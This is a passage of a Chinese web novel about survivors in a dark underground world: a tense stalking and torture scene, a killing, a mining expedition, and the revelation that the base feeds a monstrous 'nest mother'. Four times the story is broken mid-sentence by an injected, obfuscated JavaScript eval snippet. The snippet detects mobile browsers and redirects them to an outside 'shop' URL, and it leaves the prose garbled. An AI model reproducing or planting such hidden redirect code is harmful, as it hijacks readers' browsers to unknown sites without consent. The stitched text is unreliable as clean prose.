所以只有小弟和我同路。我跟着小弟走入那条通道,令人不安的是,还有别人跟了上来,与我们一起穿过通道中的几扇门扉。 是那个灰眼睛。 他平时也是走这条路吗?我没有印象了。我过去从未关注过这张脸。 我不得不在黑暗中出声问小弟,“你们今天回得比较早?你和同事一起下班?” “好像是。”小弟总是这样心里没数,他含糊地答,又抬高声音问,“领队你今天走这条路?” 那个灰眼睛是他们的领队。 我为这句话里不同寻常的信息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284870|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感到紧张。 黑暗中没有人回答。 小弟疑惑道,“他走了?” 我没有这么乐观。我放低了呼吸,放轻了脚步。 黑暗中只能听到小弟坦坦荡荡的脚步声,在一直往前。 过了很久没听到另一个人的声音,是真的走了吗? 这条路我已经走得很熟了,今天却犹豫着要不要拿出一线光亮。可若照明了,或许会发生更加不好的事情。 我总觉得脊背发寒,好像有无尽的黑暗紧贴在我的背上,让我心中发虚。此时小弟完全没有慢下脚步,越走越远。我不禁有些为他的迟钝生气。 我大步追赶上去,推了他一把,越过他走到他的前面。 “哎!”他不满地嘟哝了一声,没有抢回自己的位置,“怎么了?” 我不回答。 有小弟隔开我和我身后的黑暗,使我心情舒适了不少。 我记得小屋附近的地貌。在快到家时无声地快走了几步,摸到墙与岩石的夹角中蹲下。这就是不使用光珠子的好处。 我听见小弟的脚步声从我身前的道路上走过,也能感受到他带起的空气流动。 他走远了。 我在寂静中默数了一百个数。没有任何动静。 我慢慢起身,摸回自己的家,小心地开门。我进了屋,反手关门—— 被挡住了。 我心跳和血压骤升,好似冲到了脑子里,我猛然全身发力推上去。 门重重地砸入门框,像是棺材落入土中。阖上了。 门后的东西被拦截在了门外。大概。 我疯一般地迅速将门反锁,将身体全部重量都压在门板上,然后平复喘息。 周围很安静。屋内屋外都没有声音。 刚刚有一瞬关不上门的体验,简直像是我的幻觉。 事情结束了。 我回到了我熟悉安全的屋子里。我应该将光珠子拿出来,去床上休息,好好庆幸自己又度过了惊险的一天。 我如此认真地对待生活,有权享受难得的光明与安宁。 可是,不知道为什么,在这小屋中,我害怕点起光亮。 我慢慢反转身体,背靠着门,面朝着一室陌生的黑暗,像是对着敌人。 我无法控制身体的颤栗,无法抑制快要溢出来的泣音。 直到黑暗中有个男人的声音问我,“你是在害怕吗?” 仿佛遭受雷击般,我手中的光珠子突然被抽走,房间亮了。我的大脑像是底片在接受照相馆闪光灯的映照,曝光出一片空白。 那个人用光珠子照着我的脸,在用灰眼睛认真看我面上的泪痕。 人在受到惊吓时是会完全卸下防备无法动弹的。 我很熟悉这个。我像憎恨自己孱弱的力气一样憎恨这个。 有一只手掌掐住我的手腕,我在恐慌紧张中以为自己的胳膊会像解剖台上的青蛙那样抽搐着挥出去,但我没有,我的手腕像是被针刺住的蝴蝶,被男人用力气固定在这里。 “我觉得这里很鲜活。”男人感慨地将滚烫的光珠子捂在自己的心口,“我很久没有感受到像这样充沛的情感,就像,”他找了找形容,“就像是再度活了过来。” 手腕上熟悉的疼痛让我的大脑重新开机,一点点清醒过来。杀了他,杀了他。这样尖锐的想法像是猴子的笑声或幽灵的尖啸,在我的脑子横冲直撞,几乎要从我的目光中刺出来。 可我动弹不得。 那个灰眼睛一点点掰折我的手指,将五个手指都强行按入他的掌中,边尝试边问道,“你可以更害怕我一点吗?” 13. 保持微笑 “我可能……”我不知道我正在说什么,但我知道我必须说什么。 当对方露出迷惑的表情,表示在倾听思考的时候,我未被他掌控住的那只手用力刺出了锯齿杆。 下腹。命中。 两个词在神经的电火花中迅捷传导,我想也不想地又踢了他两脚,右手还未解脱,但身体有了活动的空间。 他手中的光珠子掉了,满屋光影乱晃,像是恶魔在张牙舞爪。 我反身扭开门锁,硬生生将屋门拉开一条缝,想要挤出去。 但我不时传来剧痛的手腕和拳头还在他手中。他扯了我一把,然后将我重重砸在门上。 门关上了。 我嗤嗤地笑出声来。 满室黑暗中,他陷入了短暂的沉默。 我刚才趁乱将光珠子踢出去了。 屋内的黑暗不重要。 重要的是屋外放任不管的光珠子,那就像是诱饵,在呼叫着怪物或其他人类。 我摸索着掉落在地上的锯齿杆,想要趁他去开门捡东西的时候再给他后背一下。 但他没有走。他站在黑暗中,要不是他仍扭着我的胳膊按着我的背,我简直要以为他安静得像消失了一样。 刺眼的光亮装满了屋子。当然,他也有他的光珠子。 他用大到骇人的力气夺走了我的锯齿杆,将我的身体重重甩到地上。 我忍住闷痛调整姿势,随时准备起身攻击他的后背。总有机会的,如果我能跳起来绞住他的脖子…… 但是他没有给我后背。他始终面朝着我,用灰色的眼睛看着我。他的手在背后反锁了门。 他不让人类来打搅,甚至也不再畏惧怪物。 他的灰眼睛里藏着漠视生命的底色。 ——在这样暗无天日的地底生活里,活下来的人有几个是正常的呢? 我几乎将舌尖咬破了血。我没有令身体强壮的能力,我没有具备攻击性的能力,或者说那能力正在反向攻击我。我被夺走了武器。我像是案板上的鱼肉,等待着处理。 他弯下腰,像扶起从花瓶中散落的枯枝,慢慢握住我的小臂。 我在剧痛中死去活来。 这不是修辞,我是真的觉得我痛死了好几次,但我竟然还活着,被灰眼睛耐心地一次次从空白的昏睡中捞回来,活在这场漫长拉锯看不到终点的折磨之中。 虽然那么痛,但只是脱臼,顶多是骨折。我默默数着,告诉自己要庆幸那些都不是永久性的伤害。我实在不知道自己能不能存活到可以为此庆幸的时候。 我发誓我心里没有想过有任何人来救我。但是屋门突然开了,大大咧咧的声音闯了进来,“你光珠子怎么掉外面了?” 小弟的声音戛然而止。 我不知道小弟看到了怎样的场景,但那景象一定不太好看,让他的嗓音像鸭子一样堵在了嘴里。 我几乎是笑着喘息了一声作为应答——那布置居然真的有用。 灰眼睛的男人停手了。他放开我的肢体,慢慢转身过去,终于朝我露出了后背。 我盯着那个背影,曾策划过的无数种反击方案在我的想象中如千刀万箭向他飞去。 但我已指挥不动自己的半根手指。 灰眼睛始终安静。小弟胡乱的叫声像往常般吵闹。 我奋力挣扎,然后昏死过去。 我短暂地拥抱了黑暗与安静。 我没有失去意识太久。如此不安宁的环境,不允许我获得那样长久的安逸。 我在某种噪音中沉眠,又在某种噪音中醒来。 咚。咚。咚。 一下一下,极为有节奏的声响。就在我的耳边。 像是奶奶在河边用棒槌一下下捣衣的声响。又像是母亲在厨房里用菜刀重重地砸着案板。 那种节奏远远超出了干活必要的限度,沉重,有力,发泄着无处安置的情绪。 对我来说这像是警告,警醒着我要立刻醒来采取措施。 我尽全力忽略着遍布四肢五骸的疼痛,以及地板上湿冷的触感,转过头去。有几点鲜红的液体溅上了我的脸。 我问,“你在做什么?” 小弟停了下来。 直到现在我也没能记下他的真实名字。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284871|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻他和他的脸终于给我留下了深刻的印象。 他的能力,万能工具,能将手臂变成钥匙,进入我反锁的房间。 还能变成利器和钝器,粉碎锤乱令人厌恶的东西。 那双灰眼睛大概连角膜都已被碾成泥,混到别的什么碎块或黏液里去了。 小弟停下手后没有说话。 他愣愣地看着那滩物体,许久后突然像过电般颤栗了一下。 “我不知道!”他几乎是惊叫般地说。 他终于记起来要答我的话,“我吓了一大跳,看到他过来,就只能还手,你还倒在地上,”他下意识地抹脸,将溅上的各种残渣撇到脸颊边,又将另一只黄黄红红的手臂藏到身后,解释道,“我也不知道我做了什么……等你叫我,我回过神来就是这样了。” 他转过头来看着我,双目张得很大。就连我也看得出他的激动和恍惚,恐惧和兴奋。几近疯狂。 我的戒备心立刻提醒自己,不能让他沉浸在那样过热的情绪里。 我放缓声音问,“你怎么想到要撬锁进来?” “我来看你。”小弟似乎很吃力地在回想,“我回去后总觉得有哪里不对劲,想来想去,想不明白,”他放弃思考,让直觉左右行动,“就干脆过来。 “……然后看到你。” 小弟动了动嘴,似乎有很多话想要问,但连问题都理不清头绪。 他的目光停留在我的脸上,突然问道,“你的痂是不是掉了一些?” 我看着小弟,此时才意识到,原来我在怕他。 我无法动弹的身体和灰眼睛的残骸一起漂在血泊上。我浑身的疼痛还未麻木。 现在我知道了,我不能轻易害怕别人。人类就像怪物一样可怕。比起对待无知的怪物,对待人类要更加谨慎, 就算恐惧,我也绝不能让对方知道。那些施加给对方的能力影响,可以被对方理解和猜想成任何原因,但绝对不能是出于我的恐惧。 “是啊,是脸上的痂,”我克制住退缩的冲动,微微仰头,对小弟露出一个沾染血迹的笑容。 “我好多了。” 14. 首次外出 大哥带头去找基地的管理者,报告了这件事。我不知道他用的什么说辞。就算如实直说,基地也该对这起内部案件负管理责任,而大哥显然比这更擅长谈判。 这次事件处理得特别快。护理人员很快就带着珍贵的纱布和夹板来给我处理伤口。灰眼睛被运走了,连残渣都清扫得很干净。后续也没人为这事找我和小弟的麻烦。 “不是说要瞒住我们之间的私下联系吗?”我重新确认战略方针。 “如果连这种事都罩不住,”大哥说,“还怎么带团队。” 他们三个人每天都会来看我,告诉我最新的情报和消息,顺便帮忙打水和做清洁。 他们知道我对黑水的需求量大,也会每天额外带些过来。 据说黑水原本是没有石灰味的,但是采矿时工具混用,才掺入了泥沙。 他们如今下矿时会专门带上干净的凿子,特意为我采集黑水。其实我喝不出区别。 我舌头钝。我不挑食。 或许得益于过量的黑水,或许得益于锻炼,或是被照顾得很安逸的生活,我恢复得很快。 我现在对黑水的来源和基地外的矿产很好奇了。而我很快就有亲自了解那些事的机会。 等我恢复到可以归岗后,护理人员代村长通知我,说现在矿上很缺人,让我试试看跟着矿队去工作。 我被分配到了近期减员最多的小队,也就是刚失去了经验丰富的领队的,大哥他们所在的那队。 我拿上工具,在黑暗中出发。 矿队们出外是要照明的,但也尽量共用一小束光。我们像是鼹鼠的队伍,在地道中前进。 可能是因为近期有减员的缘故,我能感觉到所有人的状态都很紧张,气氛有些压抑。 我熟悉的那几个人知道我没有迎击怪物的自保能力,将我护在中间,时不时提醒我一些躲避怪物的经验。 我们走得很慢。有些路段很平稳,有些则不然。 远离基地后,我才发现,地下并不僻静。恰恰相反,其实黑暗中很热闹。 我们遭遇了先前闯入集会所的那种小怪物。难怪矿工们不畏惧这种东西。他们见得太多了,有丰富的交手经验。 矿队杀了几只后,继续前进。他们带上了小怪物的尸体,找个合适的避风港,停下来剥皮处理。 我们几个人猜测那种皮料就是用来装光珠子的皮袋的原材料,但还没掌握加工流程。 小怪物那水银般的血液流淌了一地。矿工们没有浪费时间去掩埋,在路途留下踪迹。 大哥悄悄告诉我,这不会影响我们的回程,黑暗中会有其他生物来处理掉。 他并不将黑暗中那些会动的东西称作怪物,而采用生物这种说法,极大减弱了环境中的恐怖色彩。 我决心学习这样的态度。 矿队收起战利品,将剩下的尸体和发光的血迹抛在身后,继续走往黑暗深处。 我们的基地离矿坑很远,很难说是基地长期开采矿坑的结果,还是在选址时就考虑到了安全性。 矿源越密集的地方,温度就越高,生物也越多。 我们避开了一些温暖区域,据说是那边太危险。有许多奇异古怪的声响在黑暗中与我们擦肩而过,我们熄灭光,严格遵照基地给出的逃生守则来行动,小心翼翼地前进。 护理人员曾对我说过,只要不用光招惹那些怪物,它们不会故意踩死你。接下来,就只需要一点运气——不要被它们无意间踩死。 这样的人类就像是在穿越人行横道的蚂蚁。 我有时会想,我或许拥有后面那种运气。因为我恐惧着它们,一旦发生交集,它们不会无视我。 可这份能力也让我失去了前一种庇佑。我的能力又何尝不是一种发光呢? 我不想再来一次被怪物活埋的经历了。 我们要去的矿区是新近发掘出来的安全区,前提是要穿过一片潜藏着风险的温暖地带。这片地带的主人,封锁拦截了其他侵略者,却为我们这些蚂蚁留出了生存的空间。 其他人告诉我,在这条道路上必须匍匐前进——人类只要不远离地面达到半米的高度,都是安全的。 半米是多高?我突然有些拿不准了。我从没量过自己的趴姿,对这标准感到心里发虚。 小队里那三个人已经很有经验了。小弟摸黑拉起我的手掌上下比划着高度。小妹则蹲下来让我和她并肩。 大哥告诉我不要太在意,所谓的半米也不是绝对标准,而是人们尝试出来的经验感觉,若太惦记着所谓的标准尺度反而会僵硬难行。 他又说,他们在这条路上来回过很多次都没有出事。以我的体型和谨慎度,应该不会比粗壮的男性更危险。 我参考比照了下其他人,觉得很有道理。 大哥说,这条路更需要的是体力,放松些才比较好走。 等真正进入那条道路,我才知道要放松是件多难的事。人们熄了灯,不再说话。但黑暗里并不安静,有一种诡异的声响在伴随我们前行。 那声音不在脚下,而在头顶,在那黑暗深邃的洞窟高处。 那是生物吗?我不禁怀疑。那种声音比起语言,更像是摩擦,是一阵阵咕叽咕叽的搅动声,湿哒哒,黏糊糊,让人想象出海藻蠕动的场景,又像是什么东西在胃液里消化的声音。 那声音的范围很大。有时很闷很远,像是从高处的穹顶传来。偶尔又在极近处响起,简直就在耳边,就擦着我们的后脑勺飞过。 我的身体几乎是紧贴着地面,就如大哥所说,这样过度压低的爬行姿势会加倍耗费力气,很快就让我四肢酸累。 我现在能理解为何规则是不能起身,但我无法理解的是,最初找到这条规则的勇士,是如何想到要尝试从这里通行,从这无法理解的生物的腹下穿过。 我咬咬牙,鼓起勇气慢慢撑起身体。我不能掉队。黑暗中不能再交谈,我无法确认同伴的位置。 他们三个的初始位置就在我的附近,但他们不会无限度地等我。我也不想挥霍他们对我的耐心。 我艰难地往前爬去,在黑暗中碰到了小妹。她停下来,和我互相摸索着,让我再次参考她肩膀的高度。 我们几个人在有意识地靠近。我又遇到了大哥和小弟。我们默契地散开合适的距离,便于彼此行动,又时不时会撞到一起。 这条通道很长。我的身体越来越疲累,心神却始终紧绷。高处的黑暗中究竟藏着什么呢? 头顶的生物似乎还在翻涌,究竟哪里才是它的尽头?如果它在移动,如果我们走错方向,我们还能够离开这里吗?或许我早就已经走入了它的肚腹,在顺着它的食道自投罗网。 这种恐惧在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284872|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不断积累,无法停止。我没有忘记我那该死的能力,但人无法控制自己的思想,就像无法控制自己的生理。 头顶的声音每一次响起,那砝码就加重一分,让我的理智失衡。 我沉浸在自己的恐惧中,没有察觉,或者说我不愿意去察觉,那样古怪的声响正变得越来越密集。 这种现象正常吗?我无法出声询问。我的同伴没有抛弃我,但我能感觉到他们的动作也在越来越紧张。 然后,我猛一个激灵。头顶有什么东西触碰到我。柔软,松弛,修长。 那玩意扭曲着,顺着我的脑袋滑下来,在我颈上盘了一圈。 我下意识停住了呼吸。 这就是最艰难的时候了。但是我还没有死。没有被毒蛇咬中。没有被绳索绞死。没有被触手卷走。那玩意只是安静地缠在我的脖子上,不急于给我更大的惊吓。 因为没有立刻死掉,我反而多出了些无畏的气概,近乎麻木机械地继续往前爬去。 求求我的精神疾病让我快点解离。或许当我这样想的时候,我这样麻木的理性,就是已经解离的症状。 我的所有思想,所有感知都已经不在自己的脑袋里,而是悬挂在脖子上,以一种悠闲惬意的姿态摇摇摆摆。 它没有拉扯我,没有与上方任何生物的肢体相连。 当我继续往前爬行时,那种危险又松弛的感觉让我判断出,它是独立的一小段。 感激它的靠近,我不再惧怕头顶上方可能存在的它那万万千千的同胞了。我没有余暇去听任何古怪的声音。 我不会招引来更多蠕虫,不会陷入万蛇窟,不会被海藻般的触手吞没。 因为我现在心里只有它一个。 我忘记了身体的酸痛,不知疲累地透支力气往前爬着。 我自嘲地想着,这样盲目这样危险这样奋不顾身,在即将崩溃的世界里被唯一亟待解决的问题驱使着不断行动的感觉,大概就是所谓的爱情。 最后有人拉了我一把,将我从那深窟中拖了出来。 “到了。你还好吗?” 我闭了闭眼睛。在黑暗中这个动作没有实质意义,但能让我冷静。我尽量不惊动别人,小声地告诉大哥,有东西缠住了我的脖子。 当初曾在锯齿杆下护住小弟的那种无形力场,很快就套住了我的脖子。 在光照亮起来之前,我一把扯下缠在我脖子上的那玩意,用力掼在地上。 矿队的其他人正在拿出光珠子。没有人留意到这边。 极为微弱的光线中,我看见我手中的生物,形似肥大的蚯蚓,一圈圈臃肿的环节还在鼓胀收缩。 我恶心得立刻松开了手,用锯齿杆将它戳穿,钉在地上。 小弟走过来,用混混的气魄将它从头到尾都踩碎一遍,浆液咕叽咕叽地从那张皮中被挤了出来。 “很像蚂蟥。有没有被吸血?”大哥谨慎地问。 我立刻摸了一圈自己的脖子。小妹无言地走过来替我检查。 这里是一间小小的矿室。 矿工们临时堵死了来时的路口,在封闭空间中拿出了光珠子。 从温度来看,这里的资源不算丰富,地理上又被外面那些见鬼的环节动物隔绝在一条死路里。 但或许就是因此,这间矿室才轮得到我们这些人类来开采。 15. 迟来的介绍 与前来矿室路途中的艰险相比,开采矿物本身可称得上是枯燥。 人们用锤子、镐头和凿子一刻不停地击打石壁。有些人会使用能力。比如说小弟,他的万能工具在这里就很受欢迎。他能应付各种情况,基地该给他授予优秀标兵——如果这里也有员工激励机制的话。 人们敲开岩石,寻找一种黑色的晶石。那种晶体密度很低,外壳很脆,凿下来的碎片拿起来手感有些像塑料,若低温我状态会觉得像黑色的冰。 我不由想起在黑湖醒来时,黑湖中浮着许多块状物。包括我自己,当时也被某种外壳包裹着。黑湖那里没有光线,我始终没机会看清那种物质的真实外貌。 等将这厚薄不均的晶石外壳凿开,就会有黑色的液体涌出来。疲累的矿工在此时摄取新鲜的黑水来补充能量。 与要开采的光珠子相比,作为副产物的黑水产量有些过剩了,得将其导流到矿室中凿好的一个水池子中。只有当光珠子开采不足时,矿队才会视余力多背些黑水回去。 这种易得性,就是基地对黑水用量不设限的原因。 当黑水被放光之后,晶石最深处的产物才会亮闪闪暴露出来。光珠子凹凸不平地嵌在晶壳上,像是蚌壳中的珍珠,又像是火葬炉里的舍利子。 光柱子很烫,得戴上那种黑色皮革,用工具将其从晶壳中撬出来。这个活计需要力气,也需要技巧。 开采后的晶体碎渣散了满地,我们用铲子将其推到一边。 十几号人挤在狭小的矿室中工作,直到精疲力竭才收工。 没人说得准这里的矿源能供我们开采多久。等它枯竭后,我们就得冒险再寻找其他矿源。 可是,这样辛苦工作得来的光珠子,上缴基地后有什么用途,又是在供谁使用呢?在矿场中工作的时候,这个疑问会不由自主地从心底浮起来。 难怪大哥他们一直在找寻答案。 回程的时候要再穿过那些环节生物的巢穴。 这次没什么风险。我已经有了贴地爬行的经验。采矿后的负重变多了。我累得没什么力气去惧怕那些玩意。哪怕那种古怪的声音响起在耳畔,比起惧怕,我更觉得恶心。 回程的路上又遭遇了战斗。矿队都很疲累。而且光珠子似乎刺激到了那些生物。 这只矿队今天没有减员,但伤了几个,战略性放弃了一批采矿收获。 这次我终于控制住了自己的恐惧,没有节外生枝。 我们回到了集会所。 矿工队熟练地归还工具并将收货入库。这次轮到我疲惫得连手指都抬不起来,大哥和小弟帮我清洗了工具。看他们填写登记簿的时候我有些想笑,终于有了种自己已经转岗的真实感。 既然我不再是仓管员,又和他们在同一小队,似乎没有了隐瞒联系的必要,我和他们站在一起。 这是我第一次作为矿工下班。 小弟看看几个人,提议道,“要不我们先一起送子涵姐回去吧?晚点休息好了再出来……” 我知道他是怕上次的事情再发生。 大哥摇摇头说,“今天不调查了,有另外的安排。我约了个人,希望你们能留下来陪我一起等。” 我们面面相觑,都没有异议。 很多人都会在集会所休息,哪怕他们不爱交流,也会待在这里静坐,大概是忍受不了独处休息的黑暗孤寂。 我们像那些人一样,找了个位置坐下来。我顺手捡起之前作仓管员时未做完的工作,拿起一套破损的毛衣,将其拆线卷成毛线球。 如果之后想到用途,我可能会在自己的份额内拿下它。 除了大哥表现得略自然些,小弟小妹似乎都融入不了集会所这样忙碌又寡淡的氛围。三人组过去每天都有调查要做,基地还只走完了一半。在矿队交班中他们经常都是最早走最晚到的。 小弟坐立不安地左右看看,然后问,“要聊天吗?” 我和小妹都没有吭声。这时候大哥才接话,“想说什么?” 我们也算是个小团体了,内部交流很多,但说话从来都抱着目的性,没有说废话的机会。 归根结底,工作太累了,休息的时间又要用于调查。调查时要么是迁就着受访者套话,要么是在黑暗的路途中,除了必要的战略情报交流都会尽量保持安静。 哪怕我养伤期间,他们来探病也是干完活就走,时间很紧张。 小弟似乎等这个机会很久了,跃跃欲试地说,聊聊各自以前的事怎么样? 小妹头埋得更低了。我仍旧在拆毛线,一根根将线头抽出来。 小弟迫不及待地自我介绍。令人惊讶的是他这副混混模样居然还在不错的学校读书,读的竟然是艺术系。 “是艺术设计。”他挠挠头说,“想转服装设计了。要能平安回去,接着过以前的生活,子涵姐还有雨晴结婚时的婚纱我都包了。” 小妹意味不明地嗤笑了一声。我倒是有点心动,想问问小弟能不能教我艺术排版,这样以后找兼职时我就能接这类单了。我有把握他会答应。 ……但我坏掉的手机,和周围集会所的环境,无不提醒着我,现在谈恢复生活秩序后的事情,还太早了。 我慢慢拆掉半件衣服。 大哥来救冷场,也简单说了点自己的事。 他在调查中向别人套话时,搭着那些人喜欢的话题,也说过不少以前的经历。我们都猜到他以前生活环境不错。在家庭和交友上都还可以。 他现在说出来,我们才知道他竟然是待业青年,离开上份工作有半年多了。 出事前,他考虑着要听父母的安排考公,但留给非应届生的岗位选择不多。 我没有说话,但我心里觉得那个安排很适合他,不管是去职能部门做事还是下基层都很适合。 我将手中的毛线卷成一个球。 话题快要冷透的时候,大哥要等的人来了。 竟然是村长。 我有些惊讶。小弟和小妹都站了起来。 向村长走过去的路上,大哥对我说,“你相信基地,我也想相信你,所以之前我找她聊了聊。 “她愿意告诉我光珠子的去向,还有基地运作的事情,说可以带我们去看看。但那时你的伤还没好。 “你是组员,我想要等你一起。” 我有些混乱地点了点头,跟在队伍里走过去。 村长看过来,目光在我身上微微一点,然后对大哥说,“你说的人都在这里了?跟我走吧。” 村长带着我们走了一条曲折的小路。仅靠我们过去调查时的那一线光,是很难找着这样隐秘的路的。 我们记不住路线,只能感受到这道路在一直往下。 我们听到了哒哒哒哒的声响。按照基地的规矩,此时应该丢下照明逃跑。 但我们本就没有使用照明。村长也毫不在意地继续往前。这大概就是所谓的“不用光招惹,它们就不会故意踩死你”。 有了矿队的经验,我们在遭遇异常时紧跟领队行动的服从性都很高。 小弟走在可以及时控制住村长的地方。我和小妹走在队伍的中间。大哥断后。几个人互相拉着手走入了黑暗中的噪音区。 那声响越来越密集,几乎听不出那种以哒哒哒哒四声为单位的节奏感了,而像是夏季的骤雨,刷刷落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我们脚步轻快地往前,带着某种不自知的雀跃。我们终于要重返地表了吗?难道我们整座基地位于某座山腹之中,要往下走才能找到出口? 不,都不是。 我们走到那洞口,看到了散落满地的光珠子。 “这里就是集会所那个地道口所连通的储存点。”村长说。 我们没有再问她那些光珠子是拿来做什么用途。 那答案不明而喻。 我们都看清了盘驻在光珠子上的巨大阴影。那只巨大的生物,有着肿瘤密布的畸形身躯和蜘蛛般的节肢,像是从梦魇中裂出来泄露到现实的影子,斑斑点点地压在我们的头顶。 小妹拉着我的手回退了半步。我懂得那种本能。我知道若我的能力在此时失控会有什么后果,我努力忘记掉那种名为害怕的情绪。 我得心怀感激,我今天过得太充实了,又疲惫不堪。我有足够的素材让我用难以停歇的理性思考来占据大脑。我的下丘脑大概都在过度的刺激下耗尽了分泌激素的能力,使我得以用较为平缓麻木的情绪,度过这一难关。 “不用怕,”村长用同样平静麻木的语气说,“只要不走近,就不会有危险。” “这究竟是在做什么?”小弟抽了口气,压着声音叫出来,“你是在用我们辛辛苦苦挖回来的光珠子饲养怪物吗?” 我听到小妹发出一声极低的近乎不可闻的嘲笑,或许她也觉得这个问句过于天真。 世界上没有无缘无故的付出与牺牲,要么有利可图,要么迫不得已。我们想要从怪物身上获得什么呢?又或者…… 大哥努力维持着稳定的心态,声音却已藏不住颤抖,“是互利共生?” 村长笑了笑,像是在说我们弄错了饲养关系。 “不,我们不配。” 16. 蜂箱 我小时候曾见过别人养蜂。蜂农不会在意蜜蜂那恼人的嗡嗡叫和偶尔的蜇刺,宽容地允许蜜蜂在庭院里飞进飞去。 就算蜜蜂停在了衣襟上,只要心情没那么坏,也不会故意将其拍死。 就像现在,我们身处那巨大的阴影之下。阴影的主人转动了一下那肿瘤般身体上疑似眼睛的几颗珠子,随后便毫无兴致地再度转开,继续享受着它的光照沐浴。 在这个光源会惹来争夺与混乱的黑暗世界里,这样公开的奢侈享受,可称得上是胆大无畏。 在那灼热的光珠子池中,掺杂着许多难以分辨的生物尸骸,因那强烈的光照而看不清其具体模样。银光闪闪的水面泛着粼粼的光,或许是某种生物的血液汇聚而成的湖面。 这怎能算是互利共生呢? 即便没有人类,阴影的主人大概也能过得顺风顺水。 “这是‘巢母’。” 村长说道,“每一个能够平稳存续下来的基地,都找到了愿意接受供养的‘巢母’。它们并非主动扮演这样的角色,只是在人类逐渐靠近并试图供养它时,没有直接拒绝。” “开什么玩笑!谁要做这样的……”小弟愤恨的指责被大哥举起的手打断。 大哥斟酌着问道,“如果没有‘巢母’,人类将会面临怎样的处境?” “你们离开过基地,知道外面潜藏着多少种怪物。”村长叹了口气,“你们有没有想过,为何基地周边会相对安宁?” 大哥的回答中隐含着失望,“我以为基地曾组织过清剿。” 村长并不在意这样的指责,就如同有些大人会耐心化解小孩的抱怨一般——那是我甚少得到的待遇,我也没有抱怨的习惯,只会在这样的机会里默默插入一只耳朵。 “你们并不知道这片黑暗究竟有多深邃。” 村长宽容地说,“你们去过的最远的矿区,都因‘巢母’的存在而生态贫乏,那只是黑暗中最为温和的浅水区。” 矿队外出往返往往只有一天,确实很有可能走不出自然界猛兽的狩猎圈。我不觉检视自己的经历,我们在黑暗中可曾抵达过更远的地方? 有人说了出来,“黑湖……” 村长再次摇头,“黑湖之下就潜藏着最大的‘巢母’。” 我突然想起了吞光者。 它当初没有在一开始就攻击持光者和他的光源,究竟是厌恶光照,还是在畏惧远离黑湖呢? 大哥皱眉说,“你没有告诉新人们这些。” “是的,因为并非所有人都能接受这样的生存方式,也不是所有人都能直面现实。”村长突然转开话题,“看啊,它在进食。” 我们看出来了。那只怪物——它着实已经超出了生物所能形容的范畴——从畸形肿瘤中垂下吸管状的肢体,如同女高中生啜饮珍珠奶茶一样,悠然地将散落的光珠子咕噜咕噜地吸入躯体之中。 “那是它的力量来源吗?为什么要上供给它,如果我们也能利用……”小弟急切地说。 “基地的物资仅仅能够勉强供应生存,别说实验室了,连台机械车辆都组装不起来。基地能养活的这一两百人里,至今也未出现技术方面的人才。没有足够的条件供我们研究开发利用这种能源。” 不止是学艺术专业的小弟,我们几个学无所长的青年都沉默了。 “至于更直接的方式,人类的肠胃无法消化这种矿物。有人试过,但勉强吞咽下它只会被烧穿肠道而死亡。”村长劝诫道。 我庆幸自己当初尝试时,在咬下去那一步就停手了。 “人类侥幸依靠在智力方面的进化发展,在过去数万年间逐渐压倒虎狼豺豹等其他物种,自诩是万物灵长、自然主宰。” 村长显然对这个问题思考了很久,“而当自然界想要用新的规则来考验物种时,人类或许也该接受这片天地要重新更换宠儿的事实。 “我们的生理机制,无法消化这种新的矿物,或许就是被自然选择淘汰的第一步。” 她抬眼看着悬在头顶吸吮光珠子的怪物,“它们能够直接进食最重要的能源,而我们只能勉强消化作为副产物的黑液,然后获得一点可有可无的新能力,这就是它们和我们在适应新环境上的天差地别。 “当你越深入黑暗,越了解其中的造物与我们的差异,就会越绝望。” 她看着我们说道,“恐龙时代已经归来了,哺乳生物只能重新回归穴居与夜行的生活。” 我们不再说话,在寂静之中只能听到光珠子在怪物管腔中碰撞挪动的声响。 ——矿队们涉过危险的黑暗,俯身爬过环节虫的巢穴,用一镐头一镐头的采掘,将那些光珠子从各地带回来,用其来换取某种怪物或许无法理解、没有契约保障、基于怪物心情的庇佑。 我又想起了蜂农们割蜂蜜的场景。 当蜂农打开蜂箱盖,取走巢脾去摇蜜时,挤在箱底蠕动的那些蜜蜂们会作何感想呢?是感激蜂农在冬季时为它们留下口粮,还是自满于被蜂农称赞为勤劳的生灵? 